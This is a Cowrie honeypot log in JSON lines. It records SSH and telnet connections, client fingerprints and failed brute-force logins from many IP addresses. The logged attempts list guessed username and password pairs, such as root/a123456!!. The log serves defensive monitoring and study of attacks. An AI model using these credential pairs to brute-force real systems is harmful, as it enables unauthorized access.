{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:56.650687Z","src_ip":"81.177.101.45","session":"474bf5b76746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:56.769994Z","src_ip":"81.177.101.45","session":"474bf5b76746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456!!","message":"login attempt [root/a123456!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:57.292485Z","src_ip":"81.177.101.45","session":"474bf5b76746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:57.486191Z","src_ip":"103.78.1.33","session":"0c3825fbbfda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:58.418421Z","src_ip":"81.177.101.45","session":"474bf5b76746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":59200,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6192385b2ca","protocol":"ssh","message":"New connection: 211.251.245.88:59200 (10.17.0.5:22) [session: a6192385b2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:15.453282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:15.456653Z","src_ip":"211.251.245.88","session":"a6192385b2ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:15.664846Z","src_ip":"211.251.245.88","session":"a6192385b2ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deng1988","message":"login attempt [root/deng1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:16.527507Z","src_ip":"211.251.245.88","session":"a6192385b2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:17.738838Z","src_ip":"211.251.245.88","session":"a6192385b2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":43618,"dst_ip":"10.17.0.5","dst_port":22,"session":"01785fff8c1e","protocol":"ssh","message":"New connection: 91.92.40.176:43618 (10.17.0.5:22) [session: 01785fff8c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:25.222025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:25.229317Z","src_ip":"91.92.40.176","session":"01785fff8c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:25.481495Z","src_ip":"91.92.40.176","session":"01785fff8c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qwerty","message":"login attempt [guest/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:25.903321Z","src_ip":"91.92.40.176","session":"01785fff8c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:26.986473Z","src_ip":"91.92.40.176","session":"01785fff8c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":57064,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a905166389","protocol":"ssh","message":"New connection: 177.76.134.52:57064 (159.203.135.109:22) [session: 89a905166389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:31.617237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:31.660953Z","src_ip":"177.76.134.52","session":"89a905166389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:31.789679Z","src_ip":"177.76.134.52","session":"89a905166389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user001","password":"123456","message":"login attempt [user001/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:32.363998Z","src_ip":"177.76.134.52","session":"89a905166389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:33.498485Z","src_ip":"177.76.134.52","session":"89a905166389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":45544,"dst_ip":"159.203.135.109","dst_port":22,"session":"1074f7da4d35","protocol":"ssh","message":"New connection: 118.26.36.195:45544 (159.203.135.109:22) [session: 1074f7da4d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:37.843855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:37.847708Z","src_ip":"118.26.36.195","session":"1074f7da4d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:38.067569Z","src_ip":"118.26.36.195","session":"1074f7da4d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"root","message":"login attempt [student/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:38.969550Z","src_ip":"118.26.36.195","session":"1074f7da4d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:40.189864Z","src_ip":"118.26.36.195","session":"1074f7da4d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":41794,"dst_ip":"10.17.0.5","dst_port":22,"session":"8929e7f549dc","protocol":"ssh","message":"New connection: 124.160.173.22:41794 (10.17.0.5:22) [session: 8929e7f549dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:41.344092Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a22a7e8b650","protocol":"telnet","message":"New connection: 137.184.5.188:47878 (159.203.135.109:23) [session: 4a22a7e8b650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:42.200674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:42.342375Z","src_ip":"124.160.173.22","session":"8929e7f549dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:42.345346Z","src_ip":"124.160.173.22","session":"8929e7f549dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"test1234","message":"login attempt [deployer/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:45:43.352398Z","src_ip":"124.160.173.22","session":"8929e7f549dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":41752,"dst_ip":"10.17.0.5","dst_port":22,"session":"28115bf9bf9c","protocol":"ssh","message":"New connection: 162.144.88.94:41752 (10.17.0.5:22) [session: 28115bf9bf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:01.836725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:01.842422Z","src_ip":"162.144.88.94","session":"28115bf9bf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:01.932259Z","src_ip":"162.144.88.94","session":"28115bf9bf9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bittrex789","message":"login attempt [root/bittrex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:02.183604Z","src_ip":"162.144.88.94","session":"28115bf9bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51482,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7281dd0b443","protocol":"ssh","message":"New connection: 81.177.101.45:51482 (10.17.0.5:22) [session: b7281dd0b443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:14.728037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:14.738979Z","src_ip":"81.177.101.45","session":"b7281dd0b443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:14.865047Z","src_ip":"81.177.101.45","session":"b7281dd0b443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"12345678","message":"login attempt [es/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:15.415634Z","src_ip":"81.177.101.45","session":"b7281dd0b443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:16.562510Z","src_ip":"81.177.101.45","session":"b7281dd0b443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":60926,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0293c6e0443","protocol":"ssh","message":"New connection: 92.118.39.50:60926 (159.203.135.109:22) [session: f0293c6e0443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:16.907928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:17.249484Z","src_ip":"92.118.39.50","session":"f0293c6e0443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:17.253842Z","src_ip":"92.118.39.50","session":"f0293c6e0443","protocol":"ssh"}
